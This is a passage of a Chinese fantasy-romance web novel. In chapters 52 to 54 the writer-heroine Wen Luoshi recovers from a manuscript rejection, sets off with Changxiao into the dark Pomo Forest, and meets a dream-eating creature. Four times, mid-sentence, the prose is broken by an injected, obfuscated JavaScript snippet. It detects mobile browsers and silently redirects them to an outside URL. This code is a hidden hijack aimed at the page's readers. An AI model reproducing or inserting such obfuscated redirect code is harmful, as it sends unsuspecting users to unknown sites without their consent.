渐渐地,她脑子慢慢变得清醒,开始任由眼眶中泪水聚集。 是因为被拒稿了,还是因为想到她从小到大,在写作这件事上就没顺过,也几乎没被人夸过? 还是因为梦里两次逃命的紧张? 还是因为长晓为了等她的消息而熬夜? 还是因为一个月前,长晓说,他们即将分开了? 连她自己都说不清楚,她只是已经哭到喘不过气的时候才意识到,原来自己的潜意识里,对拒稿这件事这么在意。 如今她以写作为生,大家都以为她是从小到大被夸文采好,其实不是的。她小时候写文章就有很大问题。只不过她莫名地热爱着,一直在写而已。 这样说来,被拒稿是情理之中,她该允许自己大哭一场。 那日之后,文落诗渐渐摆平心态,重新投入修炼之中,她没有再进城看寻光的路演,也没有再去想一些不敢多想的事情。 毫不意外,她的修为突飞猛进,只是每每触碰到融雪的边缘之时,便会力不从心,无法再进一步。 斗转星移,时光匆匆而过,待她流下一粒薄汗之时,已经是春年的季四月,年末最后一个月。 她收拾收拾,觉得可以到此为止了,便起身离开了这个居住了将近一年的洞穴。 * 今日是寻光的最后一次路演。文落诗到来之时,路演刚刚开始。她没有去到戏班后方,而是直接进入观看的人群中。 她第一次作为观众来看路演,是种奇妙的感受。好像万物都好起来了,而在这个好起来的过程中,她也出过一份力。 忽然,她察觉到有一道熟悉的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874393|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光朝向自己看来。 她迎之以微笑,就像春年最深时那道熏风一样。 而那人也是微乎其微地一笑,不再看她,低头抚琴。 却是每一根琴弦上都蕴含着笑意。 待人群散去之后,脸上涂着大浓妆的常绫忽然眼珠子一转,发现了街上的文落诗。她提起裙摆一路小跑过来,盯着文落诗看了好久,嘟起大红唇:“呦,这位魔娘,你什么时候出关啦?” 文落诗见到她,也很是高兴:“特意赶在今日出关了,你就谢谢我吧。” 这下,所有人都看到了文落诗。夏年将近,路演之处早已支起了棚子遮太阳。常绫把她拉到棚子里,大家一窝蜂地聚集上来。 “之前说好的每次路演都来呢?”常绫气哼哼地质问她。 “修炼不便中断,实在不好意思。” “没事,正好半个月后我们最后一场戏,大结局,你一定来看。”常绫道。 “我可以给落诗留个坐席位置,不用你花钱买票。”说话的是寒芦,浅笑盈盈。 文落诗摆手:“我肯定去看的,坐席就不必了,我在后面看就好。” 大约聊了一会,常绫注意到长晓在人群之后一言不发,像是在等大家叙旧完。她给寒芦使了个眼色,寒芦意会,便组织着众人收拾东西回去了。 文落诗当然知道他们什么意思,十分无奈,但又欣然接受。 于是,没过多久,临时支起的棚子下,只剩下了两个人。 而此刻,两个人都互相看着彼此,没说话。 最终,还是长晓率先启唇,语气淡淡:“我想等你说一句想我,看来是等不到了。” 文落诗惊道:“哪有你这么直接的?” 长晓没回答,只是像往日那般走上前去,想把面前的姑娘搂过来。但文落诗哪里肯,转眼间化为一道粉烟向后躲去,待她重现身形之时,睁大眼睛看着长晓。 “将近一年不见,你修为倒是长进了不少。” “你怎么看出来的?” “以往我想抱你,你躲不开。” “……” 文落诗咬牙切齿,特别是看着长晓那股悠闲的劲,不禁想,果然话本里说得都是对的,就连长晓这样看似冷冷清清的男人,到头来,还不是想尽办法占女孩便宜。 长晓当然不知道她在想什么,只想着,这个姑娘如今还不让抱。算了,来日方长。 不过那一刻,他目光黯淡下来。 他忽然意识到,这场重逢,怕是最终的诀别。他所期盼的来日,恐怕不会有了。 注意到长晓的眼神有些涣散,文落诗心下一虚,转而主动凑上前去,语气放轻:“隔了这么久,好不容易见面,不闹了好不好?” 她不想让长晓不开心。 而长晓却是没想到她瞬间软下来,嘴角有些颤抖:“好。” 文落诗笑起来:“带你去吃饭,这顿我要请回来。” 长晓的嘴角有些艰难地扬起,跟着她的脚步。 后来,两人就这么光明正大地并肩走在长街上。好在,此时正值下午骄阳似火之时,街上熙熙攘攘,没人注意到他们,不然以二人之姿和长晓的名声,必定掀起一场围观的风波。 不知走了多久,文落诗忽然转过头来:“长晓。” 长晓脚步顿住。 “想跟你说件事。具体的可以等会进了酒楼再解释,但是,我怕我再不说,你的心情会一直这么不好。” 长晓意识到什么,微微震惊。 “我还是想跟你一起走接下来的路,一起旅行。” 52. 寒声不解戏中人 那一刻,长晓彻底失神,只觉得双眼模糊,世界是一片空白。 周围的长街很喧闹,但他的世界里反复回响着文落诗的话,不再有别的声音。 后来他就这么慌乱着,被文落诗那只熟悉小手拉着胳膊,走进酒楼上了台阶,坐进了当初那间雅座里。 直到所有饭菜都上齐了,文落诗已经开始悠闲地喝豆浆了,他才渐渐回过神来。 “……为什么?” 文落诗一愣,把豆浆咽下去:“我真是应该等进了酒楼再说,你看你这一路,跟失了魂似的。不知道的人,还以为我在你身上下蛊了,把你从头到尾控制住了。” 她眉毛轻挑,轻松得很。 长晓眼眶有些湿,声音沙哑:“不许扯开话题,告诉我,为什么。” 文落诗坐直了身子:“我想了很长时间,也衡量了很久利弊。你之前说的我都认真考虑过。我跟你在一起,确实是在经历一种全新的生活,但是,我总觉得,并不像你所说,这种生活是不属于我的。如今的我,还挺愿意尝试的。” 长晓睁大眼睛,哪怕视线已经模糊。 “这些种种,的确在我意料之外,但正如我愿意在最冷的时节出门看雪一样,旅行的路上总会有困难的,我不会回避这些麻烦事,也不会觉得是你带来了这些困扰。我说过,生活该是大风大浪的,累是肯定的,但遇到麻烦解决麻烦,还能帮到别人,我很开心。” “落诗,”长晓再也坚持不住,垂下眼眸,“你那么聪明,一定能猜到我另有身份,背后也有很多棘手的事情,很多你不知道的黑暗、阴险、狡诈、无情、厮杀,都本跟你无关。我不想你牵扯进来。” 文落诗倒是没想到,长晓这次这么坦诚,就差自报名姓了。 不过她依旧笑着,问道:“长晓,你跟我说实话,哪怕你嘴上说着不想让我牵扯进来,我要是离开了,你是不是会很难受?” 长晓怔了许久,像是认命了一般阖上眼,重重点头。 “这不就得了?现在我跟你一起走,我能涨涨见识,还能帮到你,多好。” 长晓几乎不可置信。 “跟你作对的,我想了想,大概就是最初在城郊林子里碰见的那团黑影吧,可能他是个头头,手下还有很多别人。先不说别人,我跟你一起,两个人对付他一个,是不是胜算大一些?” 这是长晓生平第一次听到有人跟他这么说。他手下跟随者无数,但每个人都是因为不同的原因,有的为了自保,有的为了政治上的理念,有的为了一番志向。 而文落诗,为的是他这个人。 长晓懵了,面对文落诗这些话,一时间心潮汹涌,难以平复。 “好吧,我再多说一个理由。我之前跟你说过对风壑的怀疑,想帮更多人逃离这种他宣传的思想,你说过跟我想法一致。既如此,为何不一起呢?” 文落诗看着他一番情绪波动极大的样子,偏偏还表明显得如此克制,心下唏嘘不已。 她想了想,继续道:“不过有一件事,得提前说好。” 其实长晓差不多猜到了,不过还是给文落诗一个眼神,让她说。 “我们大概是一路向上走。旅行的最后一站,注定是九重天,是融雪城。我可以进城看看,毕竟我没去过。但我绝不会在城内留下。这个冷水,我得提前泼给你。抱歉。” 不知为何,长晓觉得,这才是文落诗该有的样子。他反倒松了一口气,大概是不再担心,自己会过多侵入这个姑娘的生活。 “我懂。在那之前,我们一起走。” 文落诗一笑,给长晓倒了一杯热豆浆,递到他面前。 “我都不知道该怎么谢你。”长晓接过豆浆一笑。 “谢我做什么?” “……” 谢你,延长了这段温暖,让我有机会多看你几眼。 文落诗见长晓不答,便道:“你把豆浆喝了,就当是谢我了。” 长晓毫不犹豫,饮下时,他觉得今天的豆浆很甜。 大概不是店家放糖放多了。 “我还没问你,不是要留在这里投稿吗?为什么要继续旅行?”长晓生怕这个问题太过于敏感,斟酌很久开口。 文落诗倒是坦荡:“拒稿了。” 她云淡风轻。如今的轻松,是不知多久的积淀。 长晓一愣:“你……还好吗?” 他知道写作对于文落诗来说有多重要。被拒稿,就像多年前他弹的曲子被全盘否认,那种感觉有多心碎,他最清楚不过。 文落诗“哈”一笑,自然道:“你看我如今,像是有事的样子吗?” 长晓却眸光一紧:“什么时候的事情?” 面对长晓的眼神,文落诗心下一虚,含糊道:“挺久之前了。” 她没敢说,就是在上次二人传信那天,而且被拒稿这件事,其实是她好久没回信也没去路演的根本原因。 但长晓察觉到了一丝不对劲,语气小心翼翼,温柔道:“是不是哭过?” 文落诗想了想,还是点头了。 空气安静了好一阵。渐渐地,长晓隐约猜到这是什么时候的事情了。 原来如此。 怪不得当时她很久没回信。好不容易回信后,透过文字,长晓都能感觉到她的崩溃之感。 “落诗,”长晓轻声道,“以后要是想哭,想找个诉苦的依靠,来我这里。我绝不嫌弃你,也不会看不起你。” 文落诗心头一暖,点头答应了。 “你和文字打交道太久了,不差这一点时间,慢慢来,会好的。”长晓安慰道。 “你说得对,和文字打交道是一件很累的事情,”文落诗颔首,“放心吧,我早就调整好了。我想去再看看不同的地方,体验之前没体验过的生活,见之前没见过的世间,所以,接下来一路旅行,我可不是漫无目的地闲逛哦。” 长晓微笑:“接下来打算去哪里?” “我有个很疯狂的想法,不知道你愿不愿意答应。” “请讲。” “泼墨森林。” 长晓略感意外,却再下一瞬间又不意外了。 是啊,她本来就是这种敢于闯荡的人。 此时正处春年年底,屋里热起来,阳光热腾腾的,像是做好了进入夏年的准备。 文落诗笑容明媚,靠着窗口。 长晓心想,她像是一辈子都难得一遇的美好。 “不知道你还记不记得覆雪。” “记得。” “她走之前告诉我,她要在第二重天的参商镇住一段时间。从寒声城到第二重天,自然可以直接御风飞行,穿过云层而抵达,几乎所有人都是这么选择的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894075|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但我偏偏不太想走这么一条简单的路。” 长晓还是忍不住感叹:“你胆子可真够大的。” 文落诗道:“就跟来寒声时走的路一样,可以在山脚下,一直等到风雪将息之时从山间飞过,但那样势必要错失鲜有人知的冰河美景。山里的河道真的太美了,我到现在都惦记着那股蓝色。” 长晓打趣她:“但是,泼墨森林里可是漆黑一片,没有你喜欢的蓝色。” “我知道,但无所谓,我想走一条很少有人敢走的路。” “你怕是走一年都走不出去。” “我知道,但我有的是时间。” 寒声城位于第一重天最深处。从寒声城的西面出城,绕过山群,便是一片蛮荒的森林,名为泼墨森林。如其名,整片森林都是暗黑色,鲜有人迹。森林中时有诡异之象,毒虫毒草肆意生长,瘴气萦绕灌木之上。 一般去往第二重天的人都会选择绕道走,很少有人穿越森林。毕竟,能不能从森林中活着出来,还真不好说。 “关于这里的记载很少,”长晓提醒道,“我知道的不多,怕是帮不上什么忙。” 文落诗不在乎:“我看的杂七杂八的书比较多,倒是知道不少关于泼墨的信息。等遇上什么我读到的事物,我给你解释。” 长晓心下无奈,暗道,但愿你那时候解释还来得及。 “而且,最重要的是,这种地方,一定蕴藏着很多很多写作素材。”文落诗说得心潮澎湃,一脸憧憬,“到时候,我就不需要再硬着头皮写稿了。” 长晓险些唉声叹气:“你这是为了事业而堵上性命啊。” “不至于,我这么厉害,肯定能活得好好的,还能收获大大的。” 长晓凉凉地看了她一眼,没说话。 他倒是没意见,而且在一片荒无人烟的地方,只有他们两个人单独相处,他其实也很愿意。 忽而他心下一动,嘴角勾起:“你是不是仗着我修为高,想着遇到麻烦有我帮你挡着?” 其实他很愿意,求之不得。若是真遇到什么事情,他来保护她就好了。 毕竟,若是连他都应付不了的事情,整个魔界就没人能应付了。 而文落诗撇撇嘴角:“我大概是仗着你也有去收集素材的想法,才敢提的。” “……” 行吧,他还真是。 “所以,现在可能是接下来一年里,最后一次坐在酒楼里吃饭了。你刚刚进屋之后就没好好吃,快点,多吃点。” 长晓觉得,文落诗很会照顾人,有点像他母亲。 看着长晓开始夹菜,文落诗则是找了个空隙,陷入沉思。 其实,文落诗并不知道自己为什么答应同长晓一起走下去。她思考这件事将近一年,很多次强迫自己不去想,但有控制不住地想。她最终这个决定,几乎是凭借本能而做的。 她知道这个决定的代价是什么,无疑就是那些不断的风波,和自己终将卷入政局,再也无法做个纯粹的普通人。可若是与长晓分开,从此再不相见,她的代价却更大。 她甚至无法直面自己怎么想的。 决定的那一瞬间,她几乎是麻木的,也是极度清醒的—— 她想陪长晓,她不想分开。 那就先一起往下走。至于最后的事情,到时候再考虑也不迟。 53. 篝火燃照星满天 随着一阵锣鼓喧天,热烈掌声涌起,寻光结束了他们在寒声城的最后一场演出。 看着人群疯狂着,像是用尽全力把赞美泼洒到台上,文落诗心中暖暖的。 不知不觉中,她好像真的救人了,打败了那些不知名的使坏的敌人,救了以常绫为首的一群纯粹的人。 就像一个浑沌中的漩涡,她一不小心陷了进去,从对当今局势知之甚少,到后来她想很多办法,用了不少手段,帮寻光摆脱陷害、重现天日,再到现在,亲眼看着他们在赞美中演完最后一次戏。 众人依依不舍地散场后,长晓凑近,在文落诗耳畔道:“说句你可能不爱听的。其实你很适合参政。” 文落诗嘴角上扬,一时笑得轻蔑:“可能在旁人看来是这样,但在我看来,学政治脏了我的手。” 长晓毫不意外她这样回答。 后来,常绫跟文落诗搂搂抱抱好久。文落诗得知,寻光还会去到不同城中巡演,说不定日后还有机会再次碰上。 阿妍也是,很是不舍得文落诗。虽然她比文落诗年龄大了不少,又是熙光之人,本与文落诗的风格相差甚远,但后来却发现,她们二人很能聊得来。阿妍特别怀念两个人一起在观雪茶楼后院里泡澡聊天的时候。文落诗说,不打紧,以后她行走四方,说不定还能重回寒声。 总之,一切的告别都不是永别,想要重逢,都还有机会。 长晓见她恋恋不舍的样子,嘴角撇了无数次,心下很是愤慨。 这姑娘当初说要去城郊闭关的时候,怎么就不想着要和自己分开一年,怎么就不考虑自己也会不舍啊! 后来,阿妍一路把二人送至寒声城西郊。 “我说落诗啊,你胆子是真够大的,我在寒声这么多年,连泼墨森林的边都没沾过一次。”阿妍眼神中写满了无奈。 文落诗不以为意,抬头挺胸道:“一千八百岁,正是闯荡四方的大好年纪。” 长晓凉凉道:“你不是还没到一千八百岁吗?” 文落诗瞪眼:“这叫为了行文方便的夸张用法。” 长晓不理她,而阿妍在一旁看得津津有味,像是很喜欢看二人的交谈。 文落诗却不想再让阿妍看热闹了。于是三人就此告别,文落诗与长晓一起安步当车,穿过前方寒声的山间,走向荒芜的森林深处。 两人一路并肩前行着。这回只能靠脚去丈量这片森林了,因为环境千变万化,即便有车也坐不得,若是遇到什么情况,怕是根本来不及下车,人就已经灰飞烟灭了。 这里的空气是黑的,脚下的路也是黑的,周围的灌木、杂草、野花也是不同颜色的黑,有的是淡淡的墨色,像是画笔间沾了水,有的像是浓墨或焦墨的颜色,暗得狰狞。 好在,如今正值下午,夏年将近,日光拉长,隐隐约约从树枝间穿过,让这片树林没有那么遮天蔽日。 文落诗和长晓完全是两种状态。 文落诗一路脚步轻快,左看右看,注意到不少新奇的花草树木,还一个劲地给长晓讲,这个是什么花,这个是什么草。她激动得很,之前只在书上见过记载的植物,如今亲眼目睹了。 长晓就没她那么轻快了,毕竟,总不能两个人都放松警惕。他身姿依旧如平日那般端庄,清冷疏逸,面色淡然,嘴角挂着难以明了的微笑,仿佛对任何事物都不为所动,任何一刻,他都从容自若至极。 ——除了文落诗方才脚下打滑,差点摔跤的时候。 他一把将文落诗扶起。 他的动作太快了,快到文落诗还没反应过来自己要摔了,就已经被他紧紧抓抓了胳膊。她没站稳,身子一晃,再加上被长晓一拉,毫无悬念地倒在了长晓怀里,稳稳当当。 周围的颜色太暗了,而她那一袭淡蓝色的衣裙,几乎是这片森林中唯一的颜色。 长晓今日的衣袍是墨蓝色的,几乎与四周的森林相融,文落诗这么一倒,她有种错觉,好像自己被困进了这片森里里。待她重新睁开眼时,才发现自己没有困在森林里,而是陷进了一个巨大的温暖的怀抱之中。 她如平常一般无辜地眨眨眼睛,然后迅速逃出。 长晓什么都没说,大约是知道此时多解释也无益,他们都懂。 可从那以后,文落诗心砰砰直跳。她也不敢再粗心大意地东张西望了,从此虽然依旧边走边看,却也多留了个心眼。 大约一路走到太阳下山,两人找了一片空地坐下来。 文落诗跑了一旁,找来几根木柴,凭借昔日看书时所学,开始尝试钻木取火。磨了半天也没磨出半个火星来,她干脆作罢,念了个简单的诀,那堆木柴上瞬间燃起熊熊烈火。 “明天就进入夏年了,晚上倒是不怕冷,但这种天气很容易着凉。” 她在解释为什么点火。 而长晓则是声音极轻地“嗯”了一声,没再多言。 文落诗注意到,长晓从进入森里以来,就话语极少,似乎对一切都不为所动。 “怎么了?一直不说话。”她像往日那样凑上前去,盯紧了那双比周围一切更加黑得深不见底的眸。 长晓闻言怔住,转而忽而笑了:“其实我一直都这样。只不过,你平日里见我,都遇上事情要找我,或者要聊什么,所以才显得我话多。” 文落诗表示理解:“我也一样,我小时候在学堂那会,大家都说我话可少了,觉得我特别高冷。” 长晓淡雅一笑。 文落诗忽然好奇:“我怎么记得,你小时候不是一个人长大的呀?你之前有提过你母亲。” 长晓愣住:“我有提过我母亲?” 文落诗道:“你有说过她身体不太好,所以你小时候很少出门。不过没提过别的,我也没多问。” 长晓看着这个姑娘一口一个“小时候”,有些好笑,她如今还不足一千八百岁,年龄也不怎么大,怎么好像“小时候”成了一个很久远的时间点。 “嗯,我刚出生没多久,父亲就逝世了,母亲一直把我带大,她一个人很忙,又得照顾我。后来我懂事之后,母亲经常去忙,于是很多事情都是我自己做,一个人吃饭,一个人看书。大约是那时候无人说话,养成了沉默寡言的习惯。” 文落诗似懂非懂地点头,有些可怜长晓的童年经历。 “没你想得那么惨,”看着她一脸忧愁的神情,长晓有些好笑,“可能在别人看来,我的生活比一般人好太多了。” 文落诗认认真真从头到脚打量了他一番:“至少在我看来,你比我有钱多了。” 长晓笑出声来。 “也是,你家在融雪城,九重天上,肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900281|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活相当富足。我就不猜你具体身份了,但经过我这么多天的观察,你家中必定位高权重。” 长晓没说话,算是对此默认。 “不过,我非常理解,痛苦不分等级。哪怕你是如此大人物,都一定有不快乐甚至十分痛苦的事情。” 长晓默了许久,道:“是这样的。每个人都有自己的故事和自己的痛苦,也不可能完全被别人理解。” 文落诗看着不远处的篝火冒出星星火花,静静抱膝而坐。 “其实在我猜到你和朝廷关系甚密之时,就想过要离开你了。后来经历那么多事情,见过你睥睨众生的样子,我也打过无数次退堂鼓。你知道的,我的底线是不跟朝廷扯上关系。” 足够黑的森林和夜色给了她足够的勇气,她终于说出了内心里最真实的想法。 长晓眸光沉沉:“我懂。但是你最后没有走。” 他像是在叙述一个客观的事实,但是在文落诗听起来,他更像是在渴求一个什么回答。 于是她想了想,目光一亮,浅笑道:“你人太好了呀,我不舍得离开。” 长晓故意在此刻抬头、侧身,离文落诗那张脸极近。他盯着文落诗的眼睛,目光收紧:“所以,你就一次一次为了我,突破自己的底线?” 文落诗觉得心头被狠狠揪了一下,此刻,全身有些发麻。她大脑空白了很久,最终嘴角一扯,开玩笑道:“底线不就是用来突破的吗?” 她笑得有些假,因为她隐约意识到,自己不敢正面回答这句话。 长晓的目光顿时松下来,不再看她,别过头去,自顾自一笑。 这夜雾气很重,空中并不清朗,文落诗抬头仔细看了很久,也没找到任何一颗星星。她有些失落,长晓看她兴致勃勃地寻星,最终以失落而放弃,有些想笑。 “你笑什么?”文落诗低嗔一句。 长晓的笑意更深了些:“觉得你的样子可爱。” 文落诗嘟嘴:“我不喜欢别人夸我可爱。” “那你喜欢别人夸你什么?” “嗯……我想想。清醒,独立,且强大。” “倒是都符合你。” “……你很会夸人啊。” 长晓重新过转头,看着篝火光影中半明半暗的脸,温声道:“不用把自己逼得这么紧。” 文落诗心下明了,长晓是相当懂她的。这一点,她已经确认过无数次了。 她不想被别人夸可爱,是因为可爱往往意味着软弱,意味着无法靠自己立足于世间。但长晓想说的是,她已经足够好了,没必要事事都给自己最高要求。她想足够优秀,但这背后的痛苦和劳累,也只有她自己知道。 好在文落诗笑了,因为她知道,如今有一个能跟她同甘共苦的人。 长晓很少主动讲出自己的观点,也很少主动提及自己以前的各种经历,但相处这么多天下来,许多迹象都表明,他所经历的种种,怕是比一般人更加痛苦。 ——因为,没有经历过痛苦的人,不会试图去理解别人的痛苦。 后来,两人没再多说话,给周围设好结界,文落诗给自己身上盖了件斗篷,靠着一个半朽的枯木,沉沉睡去。 夜色尚好,长晓在她睡去之后,静静欣赏她了很久。最终,他轻叹一口气,也闭上了眼睛。 54. 篝火燃照星满天 文落诗惊醒过来,是因为听到结界外有动静。 她早年经常一个人自己住,甚至最穷苦的时候,有过露宿街头的经历,因此在睡觉的时候十分警觉。 她悄咪咪睁开眼,不敢轻举妄动,生怕结界外的动静发现她已经醒来。 可就在抬眸之间,她定睛一看,居然是一个毛绒绒的小魔兽,正在用爪子使劲扒拉着结界。那结界上的挠痕处不断泛起层层粉光,可小魔兽还在用尖锐的指甲抓个不停。 注意到文落诗醒来,那小魔兽立刻收起爪子,乖乖耷拉着脑袋,一脸委屈,像是在等待审判。 文落诗知道自己的实力,也知道这种小魔兽肯定突破不了自己的结界,干脆起身,走到结界边缘处蹲下。 那小魔兽抬起头,水汪汪的眼睛充满乞求。 它形似兔子,一身棕黄色的毛,脑袋两侧双耳下垂,毛绒绒的四只小腿规规矩矩站好。 “你是寻梦兽吗?”文落诗轻声问道。 寻梦兽一仰头,双耳摆动,点头。 “真没想到能遇上你。那你来吧,我不介意做梦。”文落诗扬起手,想要把结界收起,忽然想到长晓还在睡觉,她一时有些犹豫。 看出她的犹豫,寻梦兽又伸出两个前爪,扒拉扒拉结界。这回结界被她的一番挠动惊到,发出阵阵细丝般的响声。 文落诗瞪眼,语气严肃:“你不许强行叫醒他,否则不欢迎你。” 寻梦兽再次乖乖站好,一动不动了。 忽然,它的眼睛闪起亮光,看着文落诗身后的方向。 长晓不知何时已经醒来,安步走到她身边。 “是不是我吵醒你了?” 长晓摇头。 “那,是不是它吵醒你了?” 文落诗杏眸瞪得圆圆的,指向寻梦兽的方向。 要是它吵醒的你,我就不对它那么客气了。 长晓再次摇头:“没有,我感受到身边没有你的气息了,才醒来。” 文落诗和小寻梦兽同时一怔。 “兔子吗?”长晓第一次见到深夜来访的兔子,而且看起来,还比一般的兔子体型大很多。 “它叫寻梦兽,长得很像兔子,但其实是一种很特殊的魔兽,比如,它能听懂人说话。” 寻梦兽闻言,配合着点了点头。 “它怎么会深夜来这里?” “寻梦兽,顾名思义,是以人的梦为食物的魔兽。它常年生活在泼墨森林之中,白日找个地方窝起来休眠,晚上外出寻找人的梦境来填饱肚子,提升自己的修为。遇到人时,它会散发一种独有的魔气,让人做梦,然后趁人完全醒来之前食用完毕,溜之大吉。” “它提升修为有什么用?” “其实不到最后一步,没什么用,只能让自己更可爱更毛绒,手感更好。” 寻梦兽听见文落诗如此说,睁大眼睛,凶巴巴盯着她。 “那最后一步是……” “幻化成人形,拥有魔体。” 寻梦兽闻言,两只前爪开始以惊人的速度刨地,一点也看不出它要立志幻化成人,反倒越看越像兔子,而且是垂耳兔。 长晓觉得自己受教了,点点头:“会对人有什么坏处吗?” “没有任何坏处,只是做了个梦而已。它这种毛绒绒的小东西,也没有任何攻击性。” “所以你是打算做个梦,给它喂个食?” “是这么想的,毕竟难得碰到一次,它可可爱爱的,我就发发善心吧!” 对此,寻梦兽很是满意,两个前脚乖乖放在身前,耐心等着文落诗打开结界。 长晓凉凉地看向文落诗:“你是想趁机摸它背上的绒毛吧?” 文落诗沉默了一阵:“也不必把话说得这么直接。” 长晓轻笑一声:“会做什么梦啊?” “这个不确定,就跟平时做梦一样,可能是美梦,也可能是噩梦。它只是靠人做梦的力量来修炼而已。” 文落诗抬起手一挥,粉色的结界消失,那兔子一般的寻梦兽瞬间跳进文落诗怀里,好像在说,你随便摸我,摸够了,我一会让你做梦。 “你怎么会知道这些的?”长晓眼神中流露出赞许。 “我杂七杂八的书看得多呀,我平常最喜欢看这种志怪的书了。”文落诗十分得意。 她之前跟长晓吹嘘,说来到泼墨森林中,要是遇到事情,自己可以给长晓解释。她没想到寻梦兽这么配合她的吹嘘,像是安排好的内应一样,让自己在长晓面前狠狠展示了一番知识储备。 毕竟,这种冷门的知识,连从九重天来的长晓都没有呢! 她把寻梦兽抱在怀里,走回树下,重新坐下来,开始毫无节制地摸它的皮毛。 这手感真是太好了! 文落诗心花怒放,开始摆弄它两只长长垂下的耳朵。 “忘了说了,它吸食梦境的时候耳朵会竖起来,等结束后,耳朵会重新垂下。据说,一般刚醒的时候,趁它还没溜走,能碰上这个场面,很可爱。” “嗯,看看明早是否有机会亲眼目睹。”映着不远处的火光,长晓见她喜笑颜开的样子,也觉得心中有些甜。好久没见她这么开心过了。 他坐得离文落诗近了一点,朝文落诗的怀中伸出一只手臂:“我也摸一下试试。” 于是,短时间之内,一只寻梦兽,被两个人同时摸。 “你说,我回头写个新话本,就写女主角在泼墨森里中遇到寻梦兽,是不是肯定能被书局看上?这么标新立异的题材,一定很多人感兴趣。” 文落诗低头看着怀里的绒毛,甚至幻想出了自己的书稿被欲晓书局认可,老板捧着她的稿件拍案叫绝的场景,嘴角一个劲地往上扬,根本压不下来。 “我还以为你收集素材只是随便说说,原来你真的在随时随地构思写作内容啊。”长晓失笑,见身旁姑娘一脸憧憬,目光也变得更加温柔。 “你回头也写个新的曲子,就写泼墨森林带给你的感受。然后你要是愿意填词的话,就写这段时间在森林里的所见所闻。大家肯定都觉得新颖,毕竟来过这里的人寥寥无几。” “你还替我考虑上了?”长晓再次失笑,却不觉目光已经沉溺在文落诗身上。 “快谢谢我,这回我真的成为你的灵感来源了。” “……” 长晓扶额,这件事真是过不去了。他当初随口一说,没想到她记得这么清楚。 文落诗注意到长晓被噎住了,目的达成,心下满意,便不再多言,开始专心摸寻梦兽的毛。 大约是寻梦兽的身子太小,被文落诗抱在怀里,长晓也把手伸过来摸它,导致此刻二人离得极近,只要一歪身子就能靠在对方身上。 过了半柱香的时间,寻梦兽实在不想被摸了,用后爪使劲一蹬,从文落诗怀中跳出来。 它甩了甩耳朵,两只前爪开始疯狂刨地,两道黑丝也渐渐从它的前爪处涌起。 这是要准备施法,让二人做梦了。 文落诗重新在周围设好结界,见长晓还没怎么反应过来发生了什么,她连忙提醒,让长晓靠着树干睡觉,然后十分自然地走过去,给他身上盖好斗篷。 长晓看着文落诗一连串自然的动作,特别是她走过来给自己盖斗篷的时候,神色有些游离。 她来主动给自己盖被子。 文落诗才不管他在想什么,她也去到一旁的树干处靠好,给自己把斗篷往上拉了拉,最后看了一眼寻梦兽,闭上眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913373|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一会,两道黑丝分别飘进了二人的眉间。 * 文落诗睁开眼的时候,发现自己在一个井底处。 四周皆为石壁,光滑至极,而这口井又极深,使劲仰起头,才勉强能看到上方的光影。 糟了,泼墨森林中诡异的事情都有可能发生,这下怕是出不去了! 她想要大喊,却发现自己的嗓子完全哑了,发不出任何声音。 那一刻,她惊慌失措,感受到自己的心跳逐渐加速,手掌心也冒出层层冷汗。 忽然上方有个什么东西落下来了。文落诗抬头一看,不知是谁从上方给她扔下来一条绳子。 她身上发热,只觉得心跳更快了些。 那是她救命的绳子! 文落诗立即伸手去抓,却见那一瞬间,绳子隐隐约约消失了。她怀疑自己的眼睛花了,费力眨了眨眼,又见那绳子重新显现出来,只是比刚刚短了整整一半。 这短绳悬在头脑袋顶上,急得文落诗立即施法,想让自己飞上去。可不管她怎么快读念诀,怎么拼命做手势,都没有任何用。那些熟悉的粉烟并没有出现,回应她的,是脚下忽然传来的碎裂声。 糟了! 眼见着碎石阵阵滑落,自己似乎被什么拽着,悬在了半空中,只不过脚下出现的是无尽深渊。 